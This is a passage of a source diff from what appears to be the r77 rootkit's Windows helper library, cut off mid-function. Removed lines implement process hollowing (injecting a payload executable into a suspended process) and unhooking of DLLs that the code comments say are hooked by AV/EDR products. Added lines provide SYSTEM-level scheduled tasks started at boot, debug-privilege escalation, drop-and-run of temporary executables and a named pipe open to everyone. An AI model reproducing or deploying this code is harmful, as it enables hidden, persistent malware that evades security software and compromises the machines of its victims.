(PIMAGE_NT_HEADERS32)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew); - R77_NtUnmapViewOfSection(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase); - - LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) - { - DWORD oldProtect; - if (VirtualProtectEx(processInformation.hProcess, imageBase, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect)) - { - BOOL sectionsWritten = TRUE; - PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders); - for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++) - { - if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL)) - { - sectionsWritten = FALSE; - break; - } - - if (!VirtualProtectEx( - processInformation.hProcess, - (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, - j == ntHeaders->FileHeader.NumberOfSections - 1 ? ntHeaders->OptionalHeader.SizeOfImage - sectionHeaders[j].VirtualAddress : sectionHeaders[j + 1].VirtualAddress - sectionHeaders[j].VirtualAddress, - SectionCharacteristicsToProtection(sectionHeaders[j].Characteristics), - &oldProtect)) - { - sectionsWritten = FALSE; - break; - } - } - - if (sectionsWritten) - { - PWOW64_CONTEXT context = (PWOW64_CONTEXT)VirtualAlloc(NULL, sizeof(WOW64_CONTEXT), MEM_COMMIT, PAGE_READWRITE); - if (context) - { - context->ContextFlags = WOW64_CONTEXT_FULL; - - if (Wow64GetThreadContext(processInformation.hThread, context)) - { - if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL)) - { - context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; - if (Wow64SetThreadContext(processInformation.hThread, context) && - ResumeThread(processInformation.hThread) != -1) - { - return TRUE; - } - } - } - } - } - } - } - } - } - - if (processInformation.dwProcessId != 0) - { - HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processInformation.dwProcessId); - if (process) - { - TerminateProcess(process, 0); - } - } - } - - return FALSE; -} -DWORD SectionCharacteristicsToProtection(DWORD characteristics) -{ - if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_READ) && (characteristics & IMAGE_SCN_MEM_WRITE)) - { - return PAGE_EXECUTE_READWRITE; - } - else if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_READ)) - { - return PAGE_EXECUTE_READ; - } - else if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_WRITE)) - { - return PAGE_EXECUTE_WRITECOPY; - } - else if ((characteristics & IMAGE_SCN_MEM_READ) && (characteristics & IMAGE_SCN_MEM_WRITE)) - { - return PAGE_READWRITE; - } - else if (characteristics & IMAGE_SCN_MEM_EXECUTE) - { - return PAGE_EXECUTE; - } - else if (characteristics & IMAGE_SCN_MEM_READ) - { - return PAGE_READONLY; - } - else if (characteristics & IMAGE_SCN_MEM_WRITE) - { - return PAGE_WRITECOPY; - } - else - { - return PAGE_NOACCESS; - } -} -DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName) -{ - BOOL is64Bit; - if (IsExecutable64Bit(image, &is64Bit)) - { - PIMAGE_EXPORT_DIRECTORY exportDirectory; - if (is64Bit) - { - PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); - exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)); - } - else - { - PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); - exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)); - } - - LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames)); - LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals)); - - for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++) - { - if (StrStrA((PCHAR)(image + RvaToOffset(image, *nameDirectory)), functionName)) - { - return RvaToOffset(image, *(LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfFunctions) + *nameOrdinalDirectory * sizeof(DWORD))); - } - - nameDirectory++; - nameOrdinalDirectory++; - } - } - - return 0; -} -DWORD RvaToOffset(LPBYTE image, DWORD rva) -{ - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); - PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); - - if (rva < sections[0].PointerToRawData) - { - return rva; - } - else - { - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) - { - if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData) - { - return rva - sections[i].VirtualAddress + sections[i].PointerToRawData; - } - } - - return 0; - } -} -VOID UnhookDll(LPCWSTR name) -{ - if (name) - { - WCHAR path[MAX_PATH + 1]; - if (Is64BitOperatingSystem() && BITNESS(32)) StrCpyW(path, L"C:\\Windows\\SysWOW64\\"); - else StrCpyW(path, L"C:\\Windows\\System32\\"); - - StrCatW(path, name); - - // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions. - HMODULE dll = GetModuleHandleW(name); - if (dll) - { - MODULEINFO moduleInfo; - i_memset(&moduleInfo, 0, sizeof(MODULEINFO)); - - if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO))) - { - // Retrieve a clean copy of the DLL file. - HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); - if (dllFile != INVALID_HANDLE_VALUE) - { - // Map the clean DLL into memory - HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); - if (dllMapping) - { - LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0); - if (dllMappedFile) - { - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew); - - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) - { - PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER)); - - // Find the .text section of the hooked DLL and overwrite it with the original DLL section - if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text")) - { - LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress); - DWORD virtualSize = sectionHeader->Misc.VirtualSize; - - DWORD oldProtect; - VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); - i_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize); - VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect); - - break; - } - } - } - - CloseHandle(dllMapping); - } - - CloseHandle(dllFile); - } - } - - FreeLibrary(dll); - } - } -} - -NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength) -{ - // NtQueryObject must be called by using GetProcAddress on Windows 7. - return ((NT_NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength); -} -NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer) -{ - // Use NtCreateThreadEx instead of CreateRemoteThread. - // CreateRemoteThread does not work across sessions in Windows 7. - return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer); -} -NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress) -{ - return ((NT_NTUNMAPVIEWOFSECTION)GetFunction("ntdll.dll", "NtUnmapViewOfSection"))(processHandle, baseAddress); -} -NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation) -{ - return ((NT_RTLGETVERSION)GetFunction("ntdll.dll", "RtlGetVersion"))(versionInformation); -} -NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue) -{ - return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue); -} -NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb) -{ - return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb); +#include "r77win.h" +#include +#include +#include +#include +#include + +BOOL GetRandomBytes(LPVOID buffer, DWORD size) +{ + BOOL result = FALSE; + + HCRYPTPROV cryptProvider; + if (CryptAcquireContextW(&cryptProvider, NULL, L"Microsoft Base Cryptographic Provider v1.0", PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + if (CryptGenRandom(cryptProvider, size, buffer)) + { + result = TRUE; + } + + CryptReleaseContext(cryptProvider, 0); + } + + return result; +} +BOOL GetRandomString(PWCHAR str, DWORD length) +{ + WCHAR characters[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + if (GetRandomBytes(str, length * 2)) + { + for (DWORD i = 0; i < length; i++) + { + str[i] = characters[str[i] % (sizeof(characters) / sizeof(WCHAR) - 1)]; + } + + str[length] = L'\0'; + return TRUE; + } + else + { + return FALSE; + } +} +LPCSTR ConvertStringToAString(LPCWSTR str) +{ + PCHAR result = NULL; + + int length = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL); + if (length > 0) + { + result = NEW_ARRAY(CHAR, length); + if (WideCharToMultiByte(CP_ACP, 0, str, -1, result, length, NULL, NULL) <= 0) + { + FREE(result); + result = NULL; + } + } + + return result; +} +LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str) +{ + if (str.Buffer) + { + PWCHAR buffer = NEW_ARRAY(WCHAR, str.Length / sizeof(WCHAR) + 1); + i_wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR)); + buffer[str.Length / sizeof(WCHAR)] = L'\0'; + + return buffer; + } + else + { + return NULL; + } +} +VOID Int32ToStrW(LONG value, PWCHAR buffer) +{ + if (value == 0) + { + buffer[0] = L'0'; + buffer[1] = L'\0'; + return; + } + + if (value < 0) + { + *buffer++ = L'-'; + value = -value; + } + + INT length = 0; + for (LONG i = value; i; i /= 10) + { + length++; + } + + for (INT i = 0; i < length; i++) + { + buffer[length - i - 1] = L'0' + value % 10; + value /= 10; + } + + buffer[length] = L'\0'; +} + +BOOL Is64BitOperatingSystem() +{ + BOOL wow64 = FALSE; + return BITNESS(64) || IsWow64Process(GetCurrentProcess(), &wow64) && wow64; +} +BOOL IsAtLeastWindows10() +{ + RTL_OSVERSIONINFOW versionInfo; + versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW); + + // Unlike GetVersionEx, RtlGetVersion returns the actual windows version regardless of executable manifest. + if (NT_SUCCESS(R77_RtlGetVersion(&versionInfo))) + { + return versionInfo.dwMajorVersion >= 10; + } + + return FALSE; +} +BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit) +{ + BOOL result = FALSE; + + if (Is64BitOperatingSystem()) + { + HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId); + if (process) + { + BOOL wow64; + if (IsWow64Process(process, &wow64)) + { + *is64Bit = wow64 ? FALSE : TRUE; + result = TRUE; + } + + CloseHandle(process); + } + } + else + { + *is64Bit = FALSE; + result = TRUE; + } + + return result; +} +LPVOID GetFunction(LPCSTR dll, LPCSTR function) +{ + HMODULE module = GetModuleHandleA(dll); + return module ? (LPVOID)GetProcAddress(module, function) : NULL; +} +BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel) +{ + BOOL result = FALSE; + + HANDLE token; + if (OpenProcessToken(process, TOKEN_QUERY, &token)) + { + DWORD tokenSize; + if (!GetTokenInformation(token, TokenIntegrityLevel, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + PTOKEN_MANDATORY_LABEL tokenMandatoryLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, tokenSize); + if (tokenMandatoryLabel) + { + if (GetTokenInformation(token, TokenIntegrityLevel, tokenMandatoryLabel, tokenSize, &tokenSize)) + { + *integrityLevel = *GetSidSubAuthority(tokenMandatoryLabel->Label.Sid, *GetSidSubAuthorityCount(tokenMandatoryLabel->Label.Sid) - 1); + result = TRUE; + } + + LocalFree(tokenMandatoryLabel); + } + } + + CloseHandle(token); + } + + return result; +} +BOOL GetProcessFileName(DWORD processId, LPWSTR fileName, DWORD fileNameLength) +{ + BOOL result = FALSE; + + HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId); + if (process) + { + WCHAR path[MAX_PATH + 1]; + if (GetProcessImageFileNameW(process, path, MAX_PATH)) + { + PWCHAR resultFileName = PathFindFileNameW(path); + if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) + { + StrCpyW(fileName, resultFileName); + result = TRUE; + } + } + + CloseHandle(process); + } + + return result; +} +BOOL GetProcessPath(DWORD processId, LPWSTR fileName, DWORD fileNameLength) +{ + BOOL result = FALSE; + + HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId); + if (process) + { + WCHAR path[MAX_PATH + 1]; + if (GetModuleFileNameExW(process, NULL, path, MAX_PATH)) + { + if ((DWORD)lstrlenW(path) <= fileNameLength) + { + StrCpyW(fileName, path); + result = TRUE; + } + } + + CloseHandle(process); + } + + return result; +} +BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength) +{ + BOOL result = FALSE; + + HANDLE token; + if (OpenProcessToken(process, TOKEN_QUERY, &token)) + { + DWORD tokenSize = 0; + if (!GetTokenInformation(token, TokenUser, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + PTOKEN_USER tokenUser = (PTOKEN_USER)LocalAlloc(0, tokenSize); + if (tokenUser) + { + if (GetTokenInformation(token, TokenUser, tokenUser, tokenSize, &tokenSize)) + { + WCHAR domain[256]; + DWORD domainLength = 256; + SID_NAME_USE sidType; + result = LookupAccountSidW(NULL, tokenUser->User.Sid, name, nameLength, domain, &domainLength, &sidType); + } + + LocalFree(tokenUser); + } + } + + CloseHandle(token); + } + + return result; +} +BOOL EnabledDebugPrivilege() +{ + BOOL result = FALSE; + + HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId()); + if (process) + { + HANDLE token; + if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) + { + LUID luid; + if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) + { + TOKEN_PRIVILEGES tokenPrivileges; + tokenPrivileges.PrivilegeCount = 1; + tokenPrivileges.Privileges[0].Luid = luid; + tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) + { + result = GetLastError() != ERROR_NOT_ALL_ASSIGNED; + } + } + } + + CloseHandle(process); + } + + return result; +} +BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size) +{ + HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type); + if (resource) + { + *size = SizeofResource(NULL, resource); + if (*size) + { + HGLOBAL resourceData = LoadResource(NULL, resource); + if (resourceData) + { + *data = (LPBYTE)LockResource(resourceData); + return TRUE; + } + } + } + + return FALSE; +} +BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength) +{ + BOOL result = FALSE; + + WCHAR path[MAX_PATH + 1]; + if (GetFinalPathNameByHandleW(file, path, MAX_PATH, FILE_NAME_NORMALIZED) > 0 && !StrCmpNIW(path, L"\\\\?\\", 4)) + { + PWCHAR resultFileName = &path[4]; + if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) + { + StrCpyW(fileName, resultFileName); + result = TRUE; + } + } + + return result; +} +BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size) +{ + BOOL result = FALSE; + + HANDLE file = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (file != INVALID_HANDLE_VALUE) + { + DWORD fileSize = GetFileSize(file, NULL); + if (fileSize != INVALID_FILE_SIZE) + { + LPBYTE fileData = NEW_ARRAY(BYTE, fileSize); + + DWORD bytesRead; + if (ReadFile(file, fileData, fileSize, &bytesRead, NULL) && bytesRead == fileSize) + { + *data = fileData; + if (size) *size = fileSize; + result = TRUE; + } + else + { + FREE(fileData); + } + } + + CloseHandle(file); + } + + return result; +} +BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length) +{ + BOOL result = FALSE; + + for (DWORD count = 0; count < length; count++) + { + DWORD bytesRead; + if (!ReadFile(file, &str[count], sizeof(WCHAR), &bytesRead, NULL) || bytesRead != sizeof(WCHAR)) + { + result = FALSE; + break; + } + + if (str[count] == L'\0') + { + result = TRUE; + break; + } + } + + return result; +} +BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size) +{ + BOOL result = FALSE; + + HANDLE file = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (file != INVALID_HANDLE_VALUE) + { + DWORD bytesWritten; + result = WriteFile(file, data, size, &bytesWritten, NULL); + CloseHandle(file); + } + + return result; +} +BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath) +{ + BOOL result = FALSE; + WCHAR tempPath[MAX_PATH + 1]; + + if (GetTempPathW(MAX_PATH, tempPath)) + { + WCHAR fileName[MAX_PATH + 1]; + if (GetRandomString(fileName, 8)) + { + StrCatW(fileName, L"."); + StrCatW(fileName, extension); + + if (PathCombineW(resultPath, tempPath, fileName) && WriteFileContent(resultPath, file, fileSize)) + { + result = TRUE; + } + } + } + + return result; +} +BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile) +{ + BOOL result = FALSE; + + STARTUPINFOW startupInfo; + PROCESS_INFORMATION processInformation; + i_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); + i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + startupInfo.cb = sizeof(startupInfo); + + if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation)) + { + WaitForSingleObject(processInformation.hProcess, 10000); + CloseHandle(processInformation.hProcess); + CloseHandle(processInformation.hThread); + + result = TRUE; + } + + if (deleteFile) + { + for (int i = 0; i < 10; i++) + { + if (DeleteFileW(path)) break; + Sleep(100); + } + } + + return result; +} +BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments) +{ + BOOL result = FALSE; + + BSTR nameBstr = SysAllocString(name); + BSTR directoryBstr = SysAllocString(directory); + BSTR fileNameBstr = SysAllocString(fileName); + BSTR argumentsBstr = SysAllocString(arguments); + BSTR folderPathBstr = SysAllocString(L"\\"); + BSTR userIdBstr = SysAllocString(L"SYSTEM"); + + if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) + { + HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); + if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) + { + ITaskService *service = NULL; + if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) + { + VARIANT empty; + VariantInit(&empty); + + if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) + { + ITaskFolder *folder = NULL; + if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) + { + ITaskDefinition *task = NULL; + if (SUCCEEDED(service->lpVtbl->NewTask(service, 0, &task))) + { + ITaskSettings *settings = NULL; + if (SUCCEEDED(task->lpVtbl->get_Settings(task, &settings))) + { + if (SUCCEEDED(settings->lpVtbl->put_StartWhenAvailable(settings, VARIANT_TRUE)) && + SUCCEEDED(settings->lpVtbl->put_DisallowStartIfOnBatteries(settings, VARIANT_FALSE))) + { + ITriggerCollection *triggerCollection = NULL; + if (SUCCEEDED(task->lpVtbl->get_Triggers(task, &triggerCollection))) + { + ITrigger *trigger = NULL; + if (SUCCEEDED(triggerCollection->lpVtbl->Create(triggerCollection, TASK_TRIGGER_BOOT, &trigger))) + { + IBootTrigger *bootTrigger = NULL; + if (SUCCEEDED(trigger->lpVtbl->QueryInterface(trigger, (LPCLSID)&IID_IBootTrigger, (LPVOID*)&bootTrigger))) + { + IActionCollection *actionCollection = NULL; + if (SUCCEEDED(task->lpVtbl->get_Actions(task, &actionCollection))) + { + IAction *action = NULL; + if (SUCCEEDED(actionCollection->lpVtbl->Create(actionCollection, TASK_ACTION_EXEC, &action))) + { + IExecAction *execAction = NULL; + if (SUCCEEDED(action->lpVtbl->QueryInterface(action, (LPCLSID)&IID_IExecAction, (LPVOID*)&execAction))) + { + if (SUCCEEDED(execAction->lpVtbl->put_WorkingDirectory(execAction, directoryBstr)) && + SUCCEEDED(execAction->lpVtbl->put_Path(execAction, fileNameBstr)) && + SUCCEEDED(execAction->lpVtbl->put_Arguments(execAction, argumentsBstr))) + { + VARIANT password; + VariantInit(&password); + + VARIANT userId; + VariantInit(&userId); + userId.vt = VT_BSTR; + userId.bstrVal = userIdBstr; + + VARIANT sddl; + VariantInit(&sddl); + + IRegisteredTask *registeredTask = NULL; + HRESULT hr = folder->lpVtbl->RegisterTaskDefinition(folder, nameBstr, task, TASK_CREATE_OR_UPDATE, userId, password, TASK_LOGON_SERVICE_ACCOUNT, sddl, ®isteredTask); + if (SUCCEEDED(hr)) + { + result = TRUE; + + registeredTask->lpVtbl->Release(registeredTask); + } + } + + execAction->lpVtbl->Release(execAction); + } + + action->lpVtbl->Release(action); + } + + actionCollection->lpVtbl->Release(actionCollection); + } + + bootTrigger->lpVtbl->Release(bootTrigger); + } + + trigger->lpVtbl->Release(trigger); + } + + triggerCollection->lpVtbl->Release(triggerCollection); + } + } + + settings->lpVtbl->Release(settings); + } + + task->lpVtbl->Release(task); + } + + folder->lpVtbl->Release(folder); + } + } + + service->lpVtbl->Release(service); + } + } + + CoUninitialize(); + } + + SysFreeString(nameBstr); + SysFreeString(directoryBstr); + SysFreeString(fileNameBstr); + SysFreeString(argumentsBstr); + SysFreeString(folderPathBstr); + SysFreeString(userIdBstr); + + return result; +} +BOOL RunScheduledTask(LPCWSTR name) +{ + BOOL result = FALSE; + + BSTR nameBstr = SysAllocString(name); + BSTR folderPathBstr = SysAllocString(L"\\"); + + if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) + { + HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); + if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) + { + ITaskService *service = NULL; + if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) + { + VARIANT empty; + VariantInit(&empty); + + if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) + { + ITaskFolder *folder = NULL; + if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) + { + IRegisteredTask *task = NULL; + if (SUCCEEDED(folder->lpVtbl->GetTask(folder, nameBstr, &task))) + { + VARIANT params; + VariantInit(¶ms); + + IRunningTask *runningTask = NULL; + if (SUCCEEDED(task->lpVtbl->Run(task, params, &runningTask))) + { + result = TRUE; + + runningTask->lpVtbl->Release(runningTask); + } + + task->lpVtbl->Release(task); + } + + folder->lpVtbl->Release(folder); + } + } + + service->lpVtbl->Release(service); + } + } + + CoUninitialize(); + } + + SysFreeString(nameBstr); + SysFreeString(folderPathBstr); + + return result; +} +BOOL DeleteScheduledTask(LPCWSTR name) +{ + BOOL result = FALSE; + + BSTR nameBstr = SysAllocString(name); + BSTR folderPathBstr = SysAllocString(L"\\"); + + if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) + { + HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); + if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) + { + ITaskService *service = NULL; + if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) + { + VARIANT empty; + VariantInit(&empty); + + if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) + { + ITaskFolder *folder = NULL; + if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) + { + if (SUCCEEDED(folder->lpVtbl->DeleteTask(folder, nameBstr, 0))) + { + result = TRUE; + } + + folder->lpVtbl->Release(folder); + } + } + + service->lpVtbl->Release(service); + } + } + + CoUninitialize(); + } + + SysFreeString(nameBstr); + SysFreeString(folderPathBstr); + + return result; +} +HANDLE CreatePublicNamedPipe(LPCWSTR name) +{ + // Get security attributes for "EVERYONE", so the named pipe is accessible to all processes. + + SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY; + PSID everyoneSid; + if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE; + + EXPLICIT_ACCESSW explicitAccess; + i_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW)); + explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS; + explicitAccess.grfAccessMode = SET_ACCESS; + explicitAccess.grfInheritance = NO_INHERITANCE; + explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID; + explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid; + + PACL acl; + if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE; + + PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); + if (!securityDescriptor || + !InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) || + !SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE; + + SECURITY_ATTRIBUTES securityAttributes; + securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + securityAttributes.lpSecurityDescriptor = securityDescriptor; + securityAttributes.bInheritHandle = FALSE; + + return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes); +} + +BOOL IsExecutable64Bit(LPBYTE image, 